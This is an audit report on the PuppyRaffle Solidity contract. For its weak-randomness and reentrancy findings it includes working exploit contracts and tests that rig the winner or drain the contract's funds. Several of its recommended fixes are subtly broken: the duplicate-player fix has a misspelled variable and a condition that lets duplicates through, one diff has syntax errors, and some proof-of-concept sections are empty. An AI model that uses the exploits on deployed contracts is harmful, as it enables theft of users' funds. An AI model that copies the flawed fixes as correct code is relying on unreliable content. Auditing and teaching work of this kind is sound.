Protocol Audit Report

Version 1.0

NarwhalGuard

January 28, 2024

Protocol Audit Report

NarwhalGuard

January 28, 2024

Prepared by: NarwhalGuard Lead Auditors:

- Ammar Robbani

Table of Contents

  - Medium
    * [M-1] Denial of Service (DoS) in `PuppyRaffle::enterRaffle` Function
    * [M-2] Mishandling of ETH in `PuppyRaffle::withdrawFees` Function
    * [M-3] Reverting Issue in `PuppyRaffle::selectWinner` Function for Smart Contract Winners
  - Low
    * [L-1] Ambiguity with Zero Index in `PuppyRaffle::getActivePlayerIndex` Function
    * [L-2] Reward Calculation in `PuppyRaffle::selectWinner`
    * [L-3] Security Gap in `PuppyRaffle::withdrawFees` Function Authorization
  - Informational
    * [I-1] Solidity `pragma` Version Specification
    * [I-2] Compiler Pragma Version Update
    * [I-3] Zero-Address Checks for Assignment to Address State Variables
    * [I-4] Lacks of Indexed Fields in Events
    * [I-5] Use of Constants in Algorithmic Calculations
    * [I-6] Use of `immutable` and `constant` for Unchangeable Variables
    * [I-7] Optimization for Unused Internal Function

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The NarwhalGuard team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Repository for the audit:

https://github.com/Cyfrin/4-puppy-raffle-audit

Commit Hash:

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
---PuppyRaffle.sol.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	3
Info	7
Gas Optimizations	0
Total	16

Findings

High

[H-1] Weakness in Pseudorandom Number Generator (PRNG) Algorithm within `PuppyRaffle::selectWinner` Compromises Winner Selection

Description: The vulnerability lies in the utilization of a weak PRNG, specifically through a modulo operation on `block.timestamp`, `now`, or `blockhash` within the `PuppyRaffle::selectWinner` function. These sources are susceptible to manipulation by miners, introducing a potential security risk.

Impact: Exploitation of the weak PRNG can be attempted by players, allowing them to influence the selection process. If successful, this manipulation could lead to undesired outcomes, such as a user becoming the winner through unauthorized means.

Proof of Concept:

1. Develop a new contract to exploit the weakness in randomness.

```
contract WeakRandomnessContract {
    PuppyRaffle immutable target;
    uint256 immutable entranceFee;
    // prevent duplicate from entered players used in testing
    uint256 constant START_PLAYERS = 100;

    constructor(address _target) {
        target = PuppyRaffle(_target);
        entranceFee = PuppyRaffle(_target).entranceFee();
    }

    function getParameters(uint256 playersLength) external view returns
         (address[] memory, uint256) {
        uint256 winnerIndex;
        uint256 addPlayers = playersLength;
        while (true) {
            winnerIndex =
                uint256(keccak256(abi.encodePacked(address(this), block
                    .timestamp, block.difficulty))) % addPlayers;
            if (winnerIndex == playersLength) break;
            addPlayers++;
        }
        uint256 loop = addPlayers - playersLength;
        address[] memory newPlayers = new address[](loop);
        newPlayers[0] = address(this);
        for (uint256 i = 1; i < loop; i++) {
            newPlayers[i] = address(START_PLAYERS + i);
        }
        uint256 fees = entranceFee * loop;
        return (newPlayers, fees);
    }

    function attack(address[] memory newPlayers) external payable {
        target.enterRaffle{value: msg.value}(newPlayers);
        target.selectWinner();
    }

    function withdraw(address to) external {
        (bool success,) = to.call{value: address(this).balance}("");
        require(success, "transfer failed");
    }

    function onERC721Received(address operator, address from, uint256
        tokenId, bytes calldata data)
        public
        returns (bytes4)
    {
        return this.onERC721Received.selector;
    }

    receive() external payable {}
}
```

2. Execute the attack using a unit test.

```
    function testWeakRandomness() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        address player = makeAddr("player");
        vm.prank(player);

        uint256 balanceBefore = player.balance;
        // current players length is 4
        uint256 playersLength = 4;

        // Run exploit contract
        WeakRandomnessContract target = new WeakRandomnessContract(
            address(puppyRaffle));
        (address[] memory newPlayers, uint256 fees) = target.
            getParameters(playersLength);
        target.attack{value: fees}(newPlayers);
        target.withdraw(player);

        uint256 balanceAfter = player.balance;
        assertGt(balanceAfter, balanceBefore);
    }
```

Recommended Mitigation: To enhance security, refrain from relying on `block.timestamp`, `now`, or `blockhash` as sources of randomness. Instead, consider adopting the Chainlink VRF (Verifiable Random Function) for calculating randomness. Chainlink VRF is a reliable and verifiable random number generator, as documented in Chainlink VRF, offering a provably fair solution that doesn't compromise security or usability.

[H-2] Reentrancy Issue in `PuppyRaffle::refund` Function Enables Unauthorized Drainage of Contract Balance

Description: The `PuppyRaffle::refund` function is susceptible to a reentrancy issue, enabling an attacker to repeatedly invoke other contract to call the function as long as the function execution is not reverted. This vulnerability arises from the absence of the `Checks-Effects-Interactions` (CEI) design pattern in the implementation of the function.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);

@>  players[playerIndex] = address(0);
```

```
    emit RaffleRefunded(playerAddress);
}
```

Impact: Exploitation of this reentrancy issue can result in the unauthorized drainage of the contract's balance.

Proof of Concept:

1. Develop a new contract to exploit the reentrancy.

```
contract ReentrancyContract {
    PuppyRaffle immutable target;
    uint256 immutable entranceFee;
    uint256 private index;

    constructor(address _target) payable {
        target = PuppyRaffle(_target);
        entranceFee = PuppyRaffle(_target).entranceFee();
    }

    function withdraw(address to) external {
        selfdestruct(payable(to));
    }

    function attack() external payable {
        require(msg.value == entranceFee, "Entrance Fee is not enough")
            ;
        // enter the raffle
        address[] memory newPlayers = new address[](1);
        newPlayers[0] = address(this);
        target.enterRaffle{value: msg.value}(newPlayers);

        // Get player index of the contract
        index = target.getActivePlayerIndex(address(this));
        // Call refund to exploit reentrancy
        target.refund(index);
    }

    receive() external payable {
        if (address(target).balance >= entranceFee) {
            target.refund(index);
        }
    }
}
```

2. Execute the attack using a unit test.

```
    // from playersEntered modifier, there are exist 4 active players
    function testDrainedContractBalanceUsingReentrancy() public
       playersEntered {
        address newPlayer = makeAddr("player");
        // Puppy raffle balance before being attacked
        uint256 prevPuppyRaffleBalance = address(puppyRaffle).balance;
        // create reentrancy exploit contract
        ReentrancyContract target = new ReentrancyContract(address(
            puppyRaffle));
        // attack the puppy raffle
        target.attack{value: entranceFee}();
        // withdraw all of the ammount
        target.withdraw(newPlayer);

        // Puppy raffle balance after being attacked
        uint256 newPuppyRaffleBalance = address(puppyRaffle).balance;
        uint256 expectedNewPlayerBalance = prevPuppyRaffleBalance +
            entranceFee;
        uint256 actualNewPlayerBalance = newPlayer.balance;

        assertEq(expectedNewPlayerBalance, actualNewPlayerBalance);
        assertEq(newPuppyRaffleBalance, 0);
    }
```

Recommended Mitigation:

To address the reentrancy issue in the `PuppyRaffle::refund` function, consider implementing one of the following mitigation methods:

1. **Using `ReentrancyGuard` from `OpenZeppelin`**

Integrate the `ReentrancyGuard` contract from the OpenZeppelin library into your code. This contract provides a simple way to protect against reentrancy attacks.

```
+   import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

-   contract PuppyRaffle {
+   contract PuppyRaffle is ReentrancyGuard {
      // ... other contract code ...

-       function refund(uint256 playerIndex) public {
+       function refund(uint256 playerIndex) public nonReentrant {
            // ... other function code ...
        }
    }
```

2. **Follow Checks-Effects-Interactions (CEI) Design Pattern**

Apply the Checks-Effects-Interactions (CEI) design pattern to ensure the correct order of operations within the `PuppyRaffle::refund` function. This helps prevent reentrancy vulnerabilities.

```
    function refund(uint256 playerIndex) public {
        // Checks
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        // Effects
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        // Interactions
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

The modified code ensures that state changes are made before any external interactions, reducing the risk of reentrancy attacks.

[H-3] Integer Overflow in `PuppyRaffle::totalFees` Calculation During `PuppyRaffle::selectWinner`

Description: The `PuppyRaffle::totalFees` calculation within the `PuppyRaffle::selectWinner` function is susceptible to overflow due to the use of `uint64` as the data type.

```
totalFees = totalFees + uint64(fee);
```

The integer overflow can occur in the calculation due to the following reasons:

1. **Data Type with Lower Range than Inputted Data Type:**

```
uint256 firstNumber = type(uint64).max;
uint64 secondNumber = firstNumber + 1;
// This will overflow when the data type has a lower range than the
    inputted data type.
```

2. **Dangerous Typecasting:**

```
uint256 firstNumber = type(uint128).max;
uint256 secondNumber = uint64(firstNumber);
// This will overflow when casting the firstNumber.
```

Impact: The overflow issue compromises the accuracy of the fee calculation, resulting in a loss of fees. This discrepancy can lead to the owner having less fees available for withdrawal.

Proof of Concept:

```
function testIntegerOverflow() public {
    uint64 maxUint64 = type(uint64).max;
    // 18_446_74407_37095_51615 ~ 18 ether
    // Assume that randomFee is greater than max of uint64
    uint256 randomFee = maxUint64 + entranceFee;

    // Overflow when casting fee
    uint64 fee = uint64(randomFee);
    // Casted fee is less than randomFee
    assertLt(fee, randomFee);

    // Overflow when calculating total fee
    uint64 actualTotalFees = maxUint64 + fee;
    uint256 expectedTotalFees = uint256(maxUint64) + uint256(fee);
    // The actual total fees is less than expected total fees
    assertLt(actualTotalFees, expectedTotalFees);
}
```

Recommended Mitigation:

To mitigate the overflow issue, consider adopting one of the following methods:

1. **Using `SafeMath` from `OpenZeppelin`**

   Integrate the `SafeMath` library from OpenZeppelin to perform secure arithmetic operations.

   ```
   import "@openzeppelin/contracts/utils/math/SafeMath.sol";

   contract PuppyRaffle {
       using SafeMath for uint256;
       // ... other contract code ...

       function selectWinner() public {
           // ... existing code ...
           totalFees = totalFees.add(uint64(fee));
           // ... existing code ...
       }
   }
   ```

2. **Upgrade the `pragma` Solidity Version to `0.8.x`**

   Consider upgrading the Solidity version to `0.8.x` or a higher version, as it incorporates default checks for overflow and underflow issues.

Additionally, changing the data type of `PuppyRaffle::totalFees` to `uint256` is advisable to allow for a broader range of values and mitigate potential overflow concerns.

Medium

[M-1] Denial of Service (DoS) in `PuppyRaffle::enterRaffle` Function

Description: The `PuppyRaffle::enterRaffle` function was susceptible to a Denial of Service (DoS) attack due to the gas costs associated with checking duplicate players in the growing `players` array.

Impact: Gas costs became expensive over time as the array of players increased, affecting the latest player who called the function.

Proof of Concept:

```
function testDenialOfServices() public {
    for (uint256 i = 1; i < 101; i++) {
        // set up the player
        address player = address(i);
        hoax(player, entranceFee * 2);
        uint256 startGas = gasleft();

        // player enter the raffle
        address[] memory newPlayers = new address[](1);
        newPlayers[0] = player;
        puppyRaffle.enterRaffle{value: entranceFee}(newPlayers);

        // Gas used for the starter is a little bit more expensive than
           later
        if (i == 1 || i == 2 || i == 3 || i == 10 || i == 100) {
            uint256 gasUsed = startGas - gasleft();
            console.log("player", i, "gas used", gasUsed);
        }
    }
}
```

Results for logging:

```
player 1 gas used 59185
player 2 gas used 33864
player 3 gas used 35733
player 10 gas used 70898
player 100 gas used 3967044
```

Recommended Mitigation: To mitigate the DoS issue, the following changes have been made:

Use Mapping for Duplicate Player Validation:

- Introduced a new mapping called `playerRaffleCounter` to keep track of the raffle in which each player participated.

- Initialized a new variable, `raffleCounter`, in the constructor and incremented it each time a new raffle starts.
- In the `enterRaffle` function, modified the duplicate player check to use the `playerRaffleCounter` mapping to ensure that duplicate players are only checked within the current raffle.

```diff
    address[] public players;
+   mapping(address => uint256) public playerRaffleCounter;
+   uint256 public raffleCounter;
    // ... other state variables ...

    constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721("Puppy Raffle", "PR") {
+     raffleCounter++;
      // ... other constructor code ...
    }

    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
+           address player = newPlayers[i];
+           // check if player already exists in the current raffle
+           require(playerRaffleCounter[player] != 0 || playerRaffleCounter[player] != raffleCounter, "PuppyRaffle: Duplicate player");
+           playerRaffleCounter[palayer] = raffleCounter;
-           players.push(newPlayers[i]);
+           players.push(player);
        }

-        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }

    function selectWinner() external {
        // ... existing code ...
        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
+       raffleCounter++; // Increment for the next raffle iteration
        // ... existing code ...
    }
```

These changes ensure a more efficient and gas-friendly way to handle duplicate player checks in the

`PuppyRaffle::enterRaffle` function.

[M-2] Mishandling of ETH in `PuppyRaffle::withdrawFees` Function

Description: The `PuppyRaffle::withdrawFees` function was vulnerable to mishandling ETH due to the use of strict equality when comparing `PuppyRaffle::totalFees` and `address(this).balance`. This strict equality check could break if the contract received transfers via `selfdestruct`, causing the owner to be unable to withdraw the fees.

Impact: The owner would be unable to withdraw the fees, and the funds could get stuck in the contract.

Proof of Concept:

1. Created a new contract for the `selfdestruct` purpose.

```
contract SelfDestructContract {
    constructor(address to) payable {
        selfdestruct(payable(to));
    }
}
```

2. Ran a unit test to demonstrate the mishandling ETH issue.

```
function testMishandlingETHWhenWithdrawingFees() public playersEntered
    {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();

    // Transfer ETH via selfdestruct
    new SelfDestructContract{value: entranceFee}(address(puppyRaffle));

    // Because of mishandling ETH, owner cannot withdraw the fees
    vm.expectRevert("PuppyRaffle: There are currently players active!")
        ;
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: To fix the mishandling of ETH in the `PuppyRaffle::withdrawFees` function, replace the strict equality check with a greater than or equal to check. This ensures that the available ETH balance should be at least equal to `PuppyRaffle::totalFees`, providing a more robust condition for withdrawal.

```
-   require(address(this).balance == uint256(totalFees), , "PuppyRaffle
    : There are currently players active!"));
```

```
2 +   require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

This change helps prevent issues arising from transfers via `selfdestruct` and ensures that the owner can withdraw fees as long as the balance is sufficient.

[M-3] Reverting Issue in `PuppyRaffle::selectWinner` Function for Smart Contract Winners

Description: The `PuppyRaffle::selectWinner` function may encounter a revert scenario if the selected winner is a smart contract lacking both `fallback` and `receive` functions.

Impact: The `PuppyRaffle::selectWinner` function will repeatedly revert until a valid player is chosen.

Proof of Concept:

1. **Empty Contract Creation:**

```
contract EmptyContract {}
```

2. **Transfer Fee Testing:**

```
function testTransferToEmptyContract() public {
    // Hoax function to mimic player
    hoax(playerOne, entranceFee * 2);

    // Contract receiver
    EmptyContract emptyContract = new EmptyContract();
    (bool success,) = address(emptyContract).call{value:
        entranceFee}("");
    assert(!success);
}
```

Recommended Mitigation: Two mitigation methods are suggested:

1. **Avoid Smart Contracts as Players (Not Recommended):** Consider disallowing smart contracts from participating as players. However, this approach may limit the functionality.
2. **Implement Winner Prize Claim Function (Recommended):** Introduce a new function where winners are required to claim their prizes, ensuring control over the claiming process and avoiding the described issue.

Low

[L-1] Ambiguity with Zero Index in `PuppyRaffle::getActivePlayerIndex` Function

Description: The `PuppyRaffle::getActivePlayerIndex` function produces the same result (`0`) when the player index is zero in the `PuppyRaffle::players` array or when the player is non found.

Impact: The overlapping return values may lead to confusion and unclear results in certain scenarios.

Proof of Concept:

```
function testGetPlayerIndexForNonActivePlayer() public playersEntered {
    address nonActivePlayer = makeAddr("nonActive");
    uint256 playerOneIndex = puppyRaffle.getActivePlayerIndex(playerOne
        );
    uint256 nonActivePlayerIndex = puppyRaffle.getActivePlayerIndex(
        nonActivePlayer);
    // Both player one and non-active player share the same index
    assertEq(playerOneIndex, nonActivePlayerIndex);
}
```

Recommended Mitigation: Suggest altering the return value for non-active players to `-1` instead of `0` and chang the return from `uint256` into `int256`.

```
+   int256 constant INDEX_NOT_FOUND = -1;
    // ... existing code ...

-   function getActivePlayerIndex(address player) external view returns
    (uint256) {
+   function getActivePlayerIndex(address player) external view returns
    (int256) {
      for (uint256 i = 0; i < players.length; i++) {
          if (players[i] == player) {
              return i;
          }
      }
-     return 0;
+     return INDEX_NOT_FOUND;
    }
```

[L-2] Reward Calculation in `PuppyRaffle::selectWinner`

Description: The `PuppyRaffle::selectWinner` function may not utilize the entire contract balance for the reward due to the formula used for calculating the total amount collected. The current formula multiplies the length of `PuppyRaffle::players` by `PuppyRaffle::entranceFee`
.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
@>      uint256 totalAmountCollected = players.length * entranceFee;
        // ... existing code ...
    }
```

Impact: Some of the contract balance might remain unused in the `PuppyRaffle::selectWinner` function, as the contract can forcibly receive a transfer of value through `selfdestruct` from another contract.

Proof of Concept:

Recommended Mitigation: Propose using `address(this).balance` instead of the current formula to ensure that no balance remains unused for calculating the winner's reward. However, it's crucial to track `PuppyRaffle::totalFees` separately to avoid conflicts when withdrawing fees, ensuring consistency between `PuppyRaffle::totalFees` and the current `address(this).balance`.

```
-    uint256 totalAmountCollected = players.length * entranceFee;
+    uint256 totalAmountCollected = address(this).balance - uint256(totalFees);
```

[L-3] Security Gap in `PuppyRaffle::withdrawFees` Function Authorization

Description: The `PuppyRaffle::withdrawFees` function lacks an `onlyOwner` modifier, allowing other players to invoke this function.

Impact: Unauthorized access may lead to potential misuse or withdrawal of fees by non-owners.

Proof of Concept:

Recommended Mitigation: Suggest implementing the `onlyOwner` modifier for the `PuppyRaffle::withdrawFees` function to ensure that only the owner can initiate fee withdrawals.

```
-    function withdrawFees() external {
+    function withdrawFees() external onlyOwner {
```

Informational

[I-1] Solidity `pragma` Version Specification

Description: The protocol currently utilizes a `pragma` version of `^0.7.6`, allowing for a range of compiler versions.

Recommended Mitigation: It is advisable to use a specific and strict `pragma` version across all contracts. This ensures consistency and prevents accidental deployment using an outdated compiler with unresolved issues. Specify an exact version to avoid potential complications and maintain contract stability.

Example:

```
pragma solidity 0.7.6;
```

[I-2] Compiler Pragma Version Update

Description: The contract currently uses an older version of the Solidity compiler, potentially missing out on new security checks and features provided by recent releases.

Recommended Mitigation: It is advisable to use the latest stable version of the Solidity compiler to benefit from recent security enhancements and features. Consider updating the `pragma` statement to a version like `0.8.18` or the latest stable release.

```
pragma solidity 0.8.18;
```

[I-3] Zero-Address Checks for Assignment to Address State Variables

Description: The contract lacks checks for the zero-address (`address(0)`) when assigning values to address state variables, posing potential risks to security and contract integrity.

Recommended Mitigation: Add checks for the zero-address when assigning address values to address state variables. For instance, ensure that the `PuppyRaffle::feeAddress` is a valid address in the constructor and the `changeFeeAddress` function.

```
constructor(uint256 _entranceFee, address _feeAddress, uint256
    _raffleDuration) ERC721("Puppy Raffle", "PR") {
  entranceFee = _entranceFee;
+ require(_feeAddress != address(0), "Fee Address must be a valid
    address");
  feeAddress = _feeAddress;
}
```

```
function changeFeeAddress(address newFeeAddress) external onlyOwner {
+   require(newFeeAddress != address(0), "Fee Address must be a valid
  address");
    feeAddress = newFeeAddress;
    emit FeeAddressChanged(newFeeAddress);
}
```

[I-4] Lacks of Indexed Fields in Events

Description: The events lack the use of `indexed` fields, which can enhance the accessibility of event data for off-chain tools. However, it's crucial to balance the usage of indexed fields due to associated gas costs during emission.

Recommended Mitigation: Add `indexed` fields to all events for improved off-chain tool accessibility. Consider optimizing the number of indexed fields based on specific needs and gas considerations.

```
-   event RaffleEnter(address[] newPlayers);
+   event RaffleEnter(address[] indexed newPlayers);
-   event RaffleRefunded(address player);
+   event RaffleRefunded(address indexed player);
-   event FeeAddressChanged(address newFeeAddress);
+   event FeeAddressChanged(address indexed newFeeAddress);
```

[I-5] Use of Constants in Algorithmic Calculations

Description: The algorithmic calculations in the `PuppyRaffle::selectWinner` function utilize numeric literals without providing clear context. Constants should be defined to enhance readability and understanding of the algorithm.

Recommended Mitigation: Define constants for the relevant numeric values to provide better context for the calculations.

```
+ uint256 constant PRECISION = 100;
+ uint256 constant FEE_RATIO = 20; // Fee taken for owner (20%)
+ uint256 constant PRIZE_RATIO = 80; // Reward taken for the winner of
  the raffle (80%)
+ uint256 constant MIN_PLAYERS = 4; // Total minimum players
...
- require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
+ require(players.length >= MIN_PLAYERS, "PuppyRaffle: Need at least 4
  players");
...
- uint256 prizePool = (totalAmountCollected * 80) / 100;
+ uint256 prizePool = (totalAmountCollected * PRIZE_RATIO) / PRECISION;
- uint256 fee = (totalAmountCollected * 20) / 100;
```

```
+ uint256 fee = (totalAmountCollected * FEE_RATIO) / PRECISION;
```

[I-6] Use of `immutable` and `constant` for Unchangeable Variables

Description: Certain variables in the protocol, which are unchangeable, should be declared as `immutable` or `constant` to optimize gas usage. `constant` and `immutable` variables do not occupy storage slots when compiled, resulting in gas savings.

Recommended Mitigation: Apply the `immutable` or `constant` keyword to the following variables:

- `raffleDuration` should be `immutable`
- `commonImageUri` should be `constant`
- `rareImageUri` should be `constant`
- `legendaryImageUri` should be `constant`

[I-7] Optimization for Unused Internal Function

Description: The `_isActivePlayer` function is marked as `internal` but is not used internally, leading to unnecessary gas consumption.

Recommended Mitigation:

1. Remove the function entirely if it serves no purpose.

```
- function _isActivePlayer() internal view returns (bool) {
```

2. If the function is intended for external use, change its visibility to `external` and adjust the naming convention.

```
- function _isActivePlayer() internal view returns (bool) {
+ function isActivePlayer() external view returns (bool) {
```